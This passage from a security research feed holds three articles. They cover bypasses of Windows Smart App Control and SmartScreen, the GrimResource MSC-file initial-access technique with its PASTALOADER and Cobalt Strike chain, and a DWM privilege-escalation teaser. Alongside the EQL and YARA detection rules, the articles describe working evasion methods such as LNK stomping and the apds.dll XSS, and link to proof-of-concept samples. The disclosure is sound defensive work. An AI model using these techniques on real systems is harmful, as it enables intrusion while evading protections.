<p>The DWM process runs as the DWM user with System integrity. Prior <a href="https://ti.qianxin.com/blog/articles/public-secret-research-on-the-cve-2024-30051-privilege-escalation-vulnerability-in-the-wild-en/">public techniques</a> to achieve SYSTEM typically involve hijacking function pointers mapped into privileged client processes like LogonUI or Consent. However, it appears this technique was recently patched as the shared section is now mapped read-only. We developed a new, alternative path to SYSTEM but are choosing to withhold publishing the technique at this time.</p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe src=&quot;https://www.youtube.com/embed/SR4242l_kw0?si=lIQFQ8xThl_Nmt0w&quot; title=&quot;YouTube video player&quot; allow=&quot;fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>Closing Thoughts</h2>
<p>The models we have today are highly capable at tasks that historically have required deep expertise cultivated over many years. This includes things like reverse engineering, vulnerability discovery, and exploit development. Their capabilities are spiky, and do not yet rival the world's best in these fields. However, the march of model progress seems to show no sign of slowing down at the moment. This levels the playing field for defenders, but also raises the capabilities of attackers. While there has always been an adversarial cat and mouse game, and this is not new in that regard, attackers are at least at a near-term asymmetric advantage to wield these tools for harm. Attackers can move faster, with little worry about safety or security of AI systems. Defenders must leverage AI for offensive purposes against their code (for vulnerabilities), security products (for detection gaps), and their enterprises (adversary emulation) to find weaknesses and iterate on improved defenses before attackers do. Unfortunately, it may be the small organizations with no security teams that take the brunt of the near term pain. My hope is that long-term, the security community can together outspend attackers on offensive and defensive research, and we exit this era in a better place than we started.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/patch-diff-to-system/patch-diff-to-system.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Dismantling Smart App Control]]></title>
            <link>https://www.elastic.co/es/security-labs/dismantling-smart-app-control</link>
            <guid>dismantling-smart-app-control</guid>
            <pubDate>Tue, 06 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Reputation-based protections like Elastic’s <a href="https://www.elastic.co/es/guide/en/security/current/configure-endpoint-integration-policy.html#behavior-protection">reputation service</a> can significantly improve detection capabilities while maintaining low false positive rates. However, like any protection capability, weaknesses exist and bypasses are possible. Understanding these weaknesses allows defenders to focus their detection engineering on key coverage gaps. This article will explore Windows <a href="https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003">Smart App Control</a> and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.</p>
<h3>Key Takeaways:</h3>
<ul>
<li>Windows Smart App Control and SmartScreen have several design weaknesses that allow attackers to gain initial access with no security warnings or popups.</li>
<li>A bug in the handling of LNK files can also bypass these security controls</li>
<li>Defenders should understand the limitations of these OS features and implement detections in their security stack to compensate</li>
</ul>
<h2>SmartScreen/SAC Background</h2>
<p>Microsoft <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/">SmartScreen</a> has been a built-in OS feature since Windows 8. It operates on files that have the <a href="https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked#mark-of-the-web-and-zones">“Mark of the Web”</a> (MotW) and are clicked on by users. Microsoft introduced Smart App Control (SAC) with the release of Windows 11. SAC is, in some ways, an evolution of SmartScreen. Microsoft <a href="https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003">says</a> it “adds significant protection from new and emerging threats by blocking apps that are malicious or untrusted.” It works by querying a Microsoft cloud service when applications are executed. If they are known to be safe, they are allowed to execute; however, if they are unknown, they will only be executed if they have a valid code signing signature. When SAC is enabled, it replaces and disables Defender SmartScreen.</p>
<p>Microsoft exposes undocumented APIs for querying the trust level of files for SmartScreen and Smart App Control. To help with this research, we developed a utility that will display the trust of a file. The source code for this utility is available <a href="https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-check/rep-check.cpp">here</a>.</p>
<h2>Signed Malware</h2>
<p>One way to bypass Smart App Control is to simply sign malware with a code-signing certificate. Even before SAC, there has been a trend towards attackers signing their malware to evade detection. More recently, attackers have routinely obtained Extend Validation (EV) signing certificates. EV certs require proof of identity to gain access and can only exist on specially designed hardware tokens, making them difficult to steal. However, attackers have found ways to impersonate businesses and purchase these certificates. The threat group behind <a href="https://www.elastic.co/es/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant">SolarMarker</a> has leveraged <a href="https://squiblydoo.blog/2024/05/13/impostor-certs/">over 100</a> unique signing certificates across their campaigns. Certificate Authorities (CAs) should do more to crack down on abuse and minimize fraudulently-acquired certificates. More public research may be necessary to apply pressure on the CAs who are most often selling fraudulent certificates.</p>
<h2>Reputation Hijacking</h2>
<p>Reputation hijacking is a generic attack paradigm on reputation-based malware protection systems. It is analogous to the <a href="https://web.archive.org/web/20171028135605/https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/MattGraeber.CaseySmith.pdf">misplaced trust</a> research by Casey Smith and others against application control systems, as well as the <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf">vulnerable driver research</a> from Gabriel Landau and I. Unfortunately, the attack surface in this case is even larger. Reputation hijacking involves finding and repurposing apps with a good reputation to bypass the system. To work as an initial access vector, one constraint is that the application must be controlled without any command line parameters—for example, a script host that loads and executes a script at a predictable file path.</p>
<p>Script hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability. With FFI, attackers can easily load and execute arbitrary code and malware in memory. Through searches in VirusTotal and GitHub, we identified many script hosts that have a known good reputation and can be co-opted for full code execution. This includes Lua, Node.js, and AutoHotkey interpreters. A sample to demonstrate this technique is available <a href="https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip">here</a>.</p>
<p>The following video demonstrates hijacking with the <a href="https://github.com/jamplus/jamplus">JamPlus</a> build utility to bypass Smart App Control with no security warnings:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/rep_hijacking-jamasync.gif" alt="" /></p>
<p>In another example, SmartScreen security warnings were bypassed by using a known AutoHotkey interpreter:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/smartscreen-bypass-ahk-calc.gif" alt="" /></p>
<p>Another avenue to hijack the reputation of a known application is to exploit it. This could be simple, like a classic buffer overflow from reading an INI file in a predictable path. It could be something more complex that chains off other primitives (like command execution/registry write/etc). Also, multiple known apps can be chained together to achieve full code execution. For example, one application that reads a configuration file and executes a command line parameter can then be used to launch another known application that requires a set of parameters to gain arbitrary code execution.</p>
<h2>Reputation Seeding</h2>
<p>Another attack on reputation protections is to seed attacker-controlled binaries into the system. If crafted carefully, these binaries can appear benign and achieve a good reputation while still being useful to attackers later. It could simply be a new script host binary, an application with a known vulnerability, or an application that has a useful primitive. On the other hand, it could be a binary that contains embedded malicious code but only activates after a certain date or environmental trigger.</p>
<p>Smart App Control appears vulnerable to seeding. After executing a sample on one machine, it received a good label after approximately 2 hours. We noted that basic anti-emulation techniques seemed to be a factor in receiving a benign verdict or reputation. Fortunately, SmartScreen appears to have a higher global prevalence bar before trusting an application. A sample that demonstrates this technique is available <a href="https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip">here</a> and is demonstrated below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/rephijack-primitive-seeding.gif" alt="" /></p>
<h2>Reputation Tampering</h2>
<p>A third attack class against reputation systems is reputation tampering. Normally, reputation systems use cryptographically secure hashing systems to make tampering infeasible. However, we noticed that certain modifications to a file did not seem to change the reputation for SAC. SAC may use fuzzy hashing or feature-based similarity comparisons in lieu of or in addition to standard file hashing. It may also leverage an ML model in the cloud to allow files that have a highly benign score (such as being very similar to known good). Surprisingly, some code sections could be modified without losing their associated reputation. Through trial and error, we could identify segments that could be safely tampered with and keep the same reputation. We crafted one <a href="https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip">tampered binary</a> with a unique hash that had never been seen by Microsoft or SAC. This embedded an “execute calc” shellcode and could be executed with SAC in enforcement mode:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/reptamperingpopcalc.gif" alt="" /></p>
<h2>LNK Stomping</h2>
<p>When a user downloads a file, the browser will create an associated “Zone.Identifier” file in an <a href="https://www.digital-detective.net/forensic-analysis-of-zone-identifier-stream/">alternate data stream</a> known as the Mark of the Web (MotW). This lets other software (including AV and EDR) on the system know that the file is more risky. SmartScreen only scans files with the Mark of the Web. SAC completely blocks certain file types if they have it. This makes MotW bypasses an interesting research target, as it can usually lead to bypassing these security systems. Financially motivated threat groups have discovered and leveraged <a href="https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/">multiple vulnerabilities</a> to bypass MotW checks. These techniques involved appending crafted and invalid code signing signatures to javascript or MSI files.</p>
<p>During our research, we stumbled upon another MotW bypass that is trivial to exploit. It involves crafting LNK files that have non-standard target paths or internal structures. When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed. The function that overwrites the LNK files is <strong>_SaveAsLink()</strong> as shown in the following call stack:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/image3.png" alt="" /></p>
<p>The function that performs the security check is <strong>CheckSmartScreen()</strong> as shown in the following call stack:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/image1.png" alt="" /></p>
<p>The easiest demonstration of this issue is to append a dot or space to the target executable path (e.g., <code>powershell.exe.</code>). Alternatively, one can create an LNK file that contains a relative path such as <code>.\target.exe</code>. After clicking the link, <code>explorer.exe</code> will search for and find the matching <code>.exe</code> name, automatically correct the full path, update the file on disk (removing MotW), and finally launch the target. Yet another variant involves crafting a multi-level path in a single entry of the LNK’s target path array. The target path array should normally have 1 entry per directory. The <a href="https://pypi.org/project/pylnk3/">pylnk3</a> utility shows the structure of an exploit LNK (non-canonical format) before and after execution (canonical format):</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/image4.png" alt="" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/image2.png" alt="" /></p>
<p>A Python script that demonstrates these techniques is available <a href="https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py">here</a>.</p>
<p>The following shows an LNK file bypassing MotW restrictions under Smart App Control to launch Powershell and pop calc:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/sac-lnk-powershell.gif" alt="" /></p>
<p>In another example, we show this technique chained with the Microsoft cdb command line debugger to achieve arbitrary code execution and execute shellcode to pop calc:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/sac-lnk-cdb.gif" alt="" /></p>
<p>We identified multiple samples in VirusTotal that exhibit the bug, demonstrating existing in the wild usage. The oldest <a href="https://www.virustotal.com/gui/file/11dadc71018027c7e005a70c306532e5ea7abdc389964cbc85cf3b79f97f6b44/detection">sample</a> identified was submitted over 6 years ago. We also disclosed details of the bug to the MSRC. It may be fixed in a future Windows update. We are releasing this information, along with detection logic and countermeasures, to help defenders identify this activity until a patch is available.</p>
<h2>Detections</h2>
<p>Reputation hijacking, by its nature, can be difficult to detect. Countless applications can be co-opted to carry out the technique. Cataloging and blocking applications known to be abused is an initial (and continual) step.</p>
<pre><code>process where process.parent.name == &quot;explorer.exe&quot; and process.hash.sha256 in (
&quot;ba35b8b4346b79b8bb4f97360025cb6befaf501b03149a3b5fef8f07bdf265c7&quot;, // AutoHotKey
&quot;4e213bd0a127f1bb24c4c0d971c2727097b04eed9c6e62a57110d168ccc3ba10&quot; // JamPlus
)
</code></pre>
<p>However, this approach will always lag behind attackers. A slightly more robust approach is to develop behavioral signatures to identify general categories of abused software. For example, we can look for common Lua or Node.js function names or modules in suspicious call stacks:</p>
<pre><code>sequence by process.entity_id with maxspan=1m
[library where
  (dll.Ext.relative_file_creation_time &lt;= 3600 or
   dll.Ext.relative_file_name_modify_time &lt;= 3600 or
   (dll.Ext.device.product_id : (&quot;Virtual DVD-ROM&quot;, &quot;Virtual Disk&quot;,&quot;USB *&quot;) and not dll.path : &quot;C:\\*&quot;)) and
   _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: &quot;*!luaopen_*&quot;)] by dll.hash.sha256
[api where
 process.Ext.api.behaviors : (&quot;shellcode&quot;, &quot;allocate_shellcode&quot;, &quot;execute_shellcode&quot;, &quot;unbacked_rwx&quot;, &quot;rwx&quot;, &quot;hook_api&quot;) and
 process.thread.Ext.call_stack_final_user_module.hash.sha256 : &quot;?*&quot;] by process.thread.Ext.call_stack_final_user_module.hash.sha256
</code></pre>
<pre><code>api where process.Ext.api.name : (&quot;VirtualProtect*&quot;, &quot;WriteProcessMemory&quot;, &quot;VirtualAlloc*&quot;, &quot;MapViewOfFile*&quot;) and
 process.Ext.api.behaviors : (&quot;shellcode&quot;, &quot;allocate_shellcode&quot;, &quot;execute_shellcode&quot;, &quot;unbacked_rwx&quot;, &quot;rwx&quot;, &quot;hook_api&quot;) and
 process.thread.Ext.call_stack_final_user_module.name : &quot;ffi_bindings.node&quot;
</code></pre>
<p>Security teams should pay particular attention to downloaded files. They can use local reputation to identify outliers in their environment for closer inspection.</p>
<pre><code>from logs-* | 
where host.os.type == &quot;windows&quot;
and event.category == &quot;process&quot; and event.action == &quot;start&quot;
and process.parent.name == &quot;explorer.exe&quot;
and (process.executable like &quot;*Downloads*&quot; or process.executable like &quot;*Temp*&quot;)
and process.hash.sha256 is not null
| eval process.name = replace(process.name, &quot; \\(1\\).&quot;, &quot;.&quot;)
| stats hosts = count_distinct(agent.id) by process.name, process.hash.sha256
| where hosts == 1
</code></pre>
<p>LNK stomping may have many variants, making signature-based detection on LNK files difficult. However, they should all trigger a similar behavioral signal- <code>explorer.exe</code> overwriting an LNK file. This is especially anomalous in the downloads folder or when the LNK has the Mark of the Web.</p>
<pre><code>file where event.action == &quot;overwrite&quot; and file.extension : &quot;lnk&quot; and
 process.name : &quot;explorer.exe&quot; and process.thread.Ext.call_stack_summary : &quot;ntdll.dll|*|windows.storage.dll|shell32.dll|*&quot; and
 (
  file.path : (&quot;?:\\Users\\*\\Downloads\\*.lnk&quot;, &quot;?:\\Users\\*\\AppData\\Local\\Temp\\*.lnk&quot;) or
  file.Ext.windows.zone_identifier == 3
  )
</code></pre>
<p>Finally, robust behavioral coverage around common attacker techniques such as in-memory evasion, persistence, credential access, enumeration, and lateral movement helps detect realistic intrusions, including from reputation hijacking.</p>
<h2>Conclusion</h2>
<p>Reputation-based protection systems are a powerful layer for blocking commodity malware. However, like any protection technique, they have weaknesses that can be bypassed with some care. Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/dismantling-smart-app-control/Security Labs Images 19.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[GrimResource - Microsoft Management Console for initial access and evasion]]></title>
            <link>https://www.elastic.co/es/security-labs/grimresource</link>
            <guid>grimresource</guid>
            <pubDate>Sat, 22 Jun 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic researchers uncovered a new technique, GrimResource, which allows full code execution via specially crafted MSC files. It underscores a trend of well-resourced attackers favoring innovative initial access methods to evade defenses.]]></description>
            <content:encoded><![CDATA[<h2>Overview</h2>
<p>After Microsoft <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">disabled</a> office macros by default for internet-sourced documents, other infection vectors like JavaScript, MSI files, LNK objects, and ISOs have surged in popularity. However, these other techniques are scrutinized by defenders and have a high likelihood of detection. Mature attackers seek to leverage new and undisclosed infection vectors to gain access while evading defenses. A <a href="https://www.genians.co.kr/blog/threat_intelligence/facebook">recent example</a> involved DPRK actors using a new command execution technique in MSC files.</p>
<p>Elastic researchers have uncovered a new infection technique also leveraging MSC files, which we refer to as GrimResource. It allows attackers to gain full code execution in the context of <code>mmc.exe</code> after a user clicks on a specially crafted MSC file. A <a href="https://www.virustotal.com/gui/file/14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb">sample</a> leveraging GrimResource was first uploaded to VirusTotal on June 6th.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security researchers uncovered a novel, in-the-wild code execution technique leveraging specially crafted MSC files referred to as GrimResource</li>
<li>GrimResource allows attackers to execute arbitrary code in Microsoft Management Console (<code>mmc.exe</code>) with minimal security warnings, ideal for gaining initial access and evading defenses</li>
<li>Elastic is providing analysis of the technique and detection guidance so the community can protect themselves</li>
</ul>
<h2>Analysis</h2>
<p>The key to the <a href="https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4">GrimResource</a> technique is using an old <a href="https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199">XSS flaw</a> present in the <code>apds.dll</code> library. By adding a reference to the vulnerable APDS resource in the appropriate StringTable section of a crafted MSC file, attackers can execute arbitrary javascript in the context of <code>mmc.exe</code>. Attackers can combine this technique with <a href="https://github.com/tyranid/DotNetToJScript/tree/master">DotNetToJScript</a> to gain arbitrary code execution.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image17.png" alt="Reference to apds.dll redirect in StringTable" title="Reference to apds.dll redirect in StringTable" /></p>
<p>At the time of writing, the sample identified in the wild had 0 static detections in <a href="https://www.virustotal.com/gui/file/14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb/details">VirusTotal</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image1.png" alt="VirusTotal results" title="VirusTotal results" /></p>
<p>The sample begins with a transformNode obfuscation technique, which was observed in recent but unrelated <a href="https://twitter.com/decalage2/status/1773114380013461799">macro samples</a>. This aids in evading ActiveX security warnings.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image15.png" alt="transformNode evasion and obfuscation technique" title="transformNode evasion and obfuscation technique" /></p>
<p>This leads to an obfuscated embedded VBScript, as reconstructed below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image8.png" alt="Obfuscated VBScript" title="Obfuscated VBScript" /></p>
<p>The VBScript sets the target payload in a series of environment variables and then leverages the <a href="https://github.com/tyranid/DotNetToJScript/blob/master/DotNetToJScript/Resources/vbs_template.txt">DotNetToJs</a> technique to execute an embedded .NET loader. We named this component PASTALOADER and may release additional analysis on this specific tool in the future.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image13.png" alt="Setting the target payload environment variables" title="Setting the target payload environment variables" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image2.png" alt="DotNetToJs loading technique" title="DotNetToJs loading technique" /></p>
<p>PASTALOADER retrieves the payload from environment variables set by the VBScript in the previous step:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image14.png" alt="PASTALOADER loader retrieving the payload" title="PASTALOADER loader retrieving the payload" /></p>
<p>Finally, PASTALOADER spawns a new instance of <code>dllhost.exe</code> and injects the payload into it. This is done in a deliberately stealthy manner using the <a href="https://github.com/ipSlav/DirtyCLR/tree/7b1280fee780413d43adbad9f4c2a9ce7ed9f29e">DirtyCLR</a> technique, function unhooking, and indirect syscalls. In this sample, the final payload is Cobalt Strike.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image7.png" alt="Payload injected into dllhost.exe" title="Payload injected into dllhost.exe" /></p>
<h2>Detections</h2>
<p>In this section, we will examine current behavior detections for this sample and present new, more precise ones aimed at the technique primitives.</p>
<h3>Suspicious Execution via Microsoft Common Console</h3>
<p>This detection was established prior to our discovery of this new execution technique. It was originally designed to identify a <a href="https://www.genians.co.kr/blog/threat_intelligence/facebook">different method</a> (which requires the user to click on the Taskpad after opening the MSC file) that exploits the same MSC file type to execute commands through the Console Taskpads command line attribute:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image12.png" alt="Command task MSC sample" title="Command task MSC sample" /></p>
<pre><code>process where event.action == &quot;start&quot; and
 process.parent.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and  process.parent.args : &quot;*.msc&quot; and
 not process.parent.args : (&quot;?:\\Windows\\System32\\*.msc&quot;, &quot;?:\\Windows\\SysWOW64\\*.msc&quot;, &quot;?:\\Program files\\*.msc&quot;, &quot;?:\\Program Files (x86)\\*.msc&quot;) and
 not process.executable :
              (&quot;?:\\Windows\\System32\\mmc.exe&quot;,
               &quot;?:\\Windows\\System32\\wermgr.exe&quot;,
               &quot;?:\\Windows\\System32\\WerFault.exe&quot;,
               &quot;?:\\Windows\\SysWOW64\\mmc.exe&quot;,
               &quot;?:\\Program Files\\*.exe&quot;,
               &quot;?:\\Program Files (x86)\\*.exe&quot;,
               &quot;?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE&quot;,
               &quot;?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe&quot;)
</code></pre>
<p>It triggers here because this sample opted to spawn and inject a sacrificial instance of dllhost.exe:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image10.png" alt="GrimResource detected" title="GrimResource detected" /></p>
<h3>.NET COM object created in non-standard Windows Script Interpreter</h3>
<p>The sample is using the <a href="https://github.com/tyranid/DotNetToJScript">DotNetToJScript</a> technique, which triggers another detection looking for RWX memory allocation from .NET on behalf of a Windows Script Host (WSH) script engine (Jscript or Vbscript):</p>
<p>The following EQL rule will detect execution via the .NET loader:</p>
<pre><code>api where
  not process.name : (&quot;cscript.exe&quot;, &quot;wscript.exe&quot;) and
  process.code_signature.trusted == true and
  process.code_signature.subject_name : &quot;Microsoft*&quot; and
  process.Ext.api.name == &quot;VirtualAlloc&quot; and
  process.Ext.api.parameters.allocation_type == &quot;RESERVE&quot; and 
  process.Ext.api.parameters.protection == &quot;RWX&quot; and
  process.thread.Ext.call_stack_summary : (
    /* .NET is allocating executable memory on behalf of a WSH script engine
     * Note - this covers both .NET 2 and .NET 4 framework variants */
    &quot;*|mscoree.dll|combase.dll|jscript.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|vbscript.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|jscript9.dll|*&quot;,
    &quot;*|mscoree.dll|combase.dll|chakra.dll|*&quot;
)
</code></pre>
<p>The following alert shows <code>mmc.exe</code> allocating RWX memory and the <code>process.thread.Ext.call_stack_summary </code>captures the origin of the allocation from <code>vbscript.dll</code> to <code>clr.dll</code> :</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image6.png" alt="mmc.exe allocating RWX memory" title="mmc.exe allocating RWX memory" /></p>
<h3>Script Execution via MMC Console File</h3>
<p>The two previous detections were triggered by specific implementation choices to weaponize the GrimResource method (DotNetToJS and spawning a child process). These detections can be bypassed by using more OPSEC-safe alternatives.</p>
<p>Other behaviors that might initially seem suspicious — such as <code>mmc.exe</code> loading <code>jscript.dll</code>, <code>vbscript.dll</code>, and <code>msxml3.dll</code> — can be clarified compared to benign data. We can see that, except for <code>vbscript.dll</code>, these WSH engines are typically loaded by <code>mmc.exe</code>:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image4.png" alt="Normal library load behaviors by mmc.exe" title="Normal library load behaviors by mmc.exe" /></p>
<p>The core aspect of this method involves using <a href="https://strontic.github.io/xcyclopedia/library/apds.dll-DF461ADCCD541185313F9439313D1EE1.html">apds.dll</a> to execute Jscript via XSS. This behavior is evident in the mmc.exe Procmon output as a <code>CreateFile</code> operation (<code>apds.dll</code> is not loaded as a library):</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image9.png" alt="apds.dll being invoked in the MSC StringTable" title="apds.dll being invoked in the MSC StringTable" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image16.png" alt="Example of the successful execution of GrimResource" title="Example of the successful execution of GrimResource" /></p>
<p>We added the following detection using Elastic Defend file open events where the target file is <code>apds.dll</code> and the <code>process.name</code> is <code>mmc.exe</code>:</p>
<p>The following EQL rule will detect the execution of a script from the MMC console:</p>
<pre><code>sequence by process.entity_id with maxspan=1m
 [process where event.action == &quot;start&quot; and
  process.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and process.args : &quot;*.msc&quot;]
 [file where event.action == &quot;open&quot; and file.path : &quot;?:\\Windows\\System32\\apds.dll&quot;]
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image5.png" alt="Timeline showing the script execution with the MMC console" title="Timeline showing the script execution with the MMC console" /></p>
<h3>Windows Script Execution via MMC Console File</h3>
<p>Another detection and forensic artifact is the creation of a temporary HTML file in the INetCache folder, named <code>redirect[*] </code>as a result of the APDS <a href="https://owasp.org/www-community/attacks/xss/">XSS</a> redirection:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image11.png" alt="Contents of redirect.html" title="Contents of redirect.html" /></p>
<p>The following EQL correlation can be used to detect this behavior while also capturing the msc file path:</p>
<pre><code>sequence by process.entity_id with maxspan=1m
 [process where event.action == &quot;start&quot; and
  process.executable : &quot;?:\\Windows\\System32\\mmc.exe&quot; and process.args : &quot;*.msc&quot;]
 [file where event.action in (&quot;creation&quot;, &quot;overwrite&quot;) and
  process.executable :  &quot;?:\\Windows\\System32\\mmc.exe&quot; and file.name : &quot;redirect[?]&quot; and 
  file.path : &quot;?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]&quot;]
</code></pre>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/grimresource/image3.png" alt="Timeline detecting redirect.html" title="Timeline detecting redirect.html" /></p>
<p>Alongside the provided behavior rules, the following YARA rule can be used to detect similar files:</p>
<pre><code>rule Windows_GrimResource_MMC {
    meta:
        author = &quot;Elastic Security&quot;
        reference = &quot;https://www.elastic.co/es/security-labs/GrimResource&quot;
        reference_sample = &quot;14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb&quot;
        arch_context = &quot;x86&quot;
        scan_context = &quot;file, memory&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;
    strings:
        $xml = &quot;&lt;?xml&quot;
        $a = &quot;MMC_ConsoleFile&quot; 
        $b1 = &quot;apds.dll&quot; 
        $b2 = &quot;res://&quot;
        $b3 = &quot;javascript:eval(&quot;
        $b4 = &quot;.loadXML(&quot;
    condition:
       $xml at 0 and $a and 2 of ($b*)
}
</code></pre>
<h2>Conclusion</h2>
<p>Attackers have developed a new technique to execute arbitrary code in Microsoft Management Console using crafted MSC files. Elastic’s existing out of the box coverage shows our defense-in-depth approach is effective even against novel threats like this. Defenders should leverage our detection guidance to protect themselves and their customers from this technique before it proliferates into commodity threat groups.</p>
<h2>Observables</h2>
<p>All observables are also <a href="https://github.com/elastic/labs-releases/tree/main/indicators/grimresource">available for download</a> in both ECS and STIX formats.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb</code></td>
<td>SHA-256</td>
<td><code>sccm-updater.msc</code></td>
<td>Abused MSC file</td>
</tr>
<tr>
<td><code>4cb575bc114d39f8f1e66d6e7c453987639289a28cd83a7d802744cd99087fd7</code></td>
<td>SHA-256</td>
<td>N/A</td>
<td>PASTALOADER</td>
</tr>
<tr>
<td><code>c1bba723f79282dceed4b8c40123c72a5dfcf4e3ff7dd48db8cb6c8772b60b88</code></td>
<td>SHA-256</td>
<td>N/A</td>
<td>Cobalt Strike payload</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/grimresource/grimresource.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[GHOSTPULSE haunts victims using defense evasion bag o' tricks]]></title>
            <link>https://www.elastic.co/es/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</link>
            <guid>ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</guid>
            <pubDate>Fri, 27 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables.]]></description>
            <content:encoded><![CDATA[<h2>Update</h2>
<p>In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out <a href="https://www.elastic.co/es/security-labs/tricks-and-treats">here</a>.</p>
<h2>Preamble</h2>
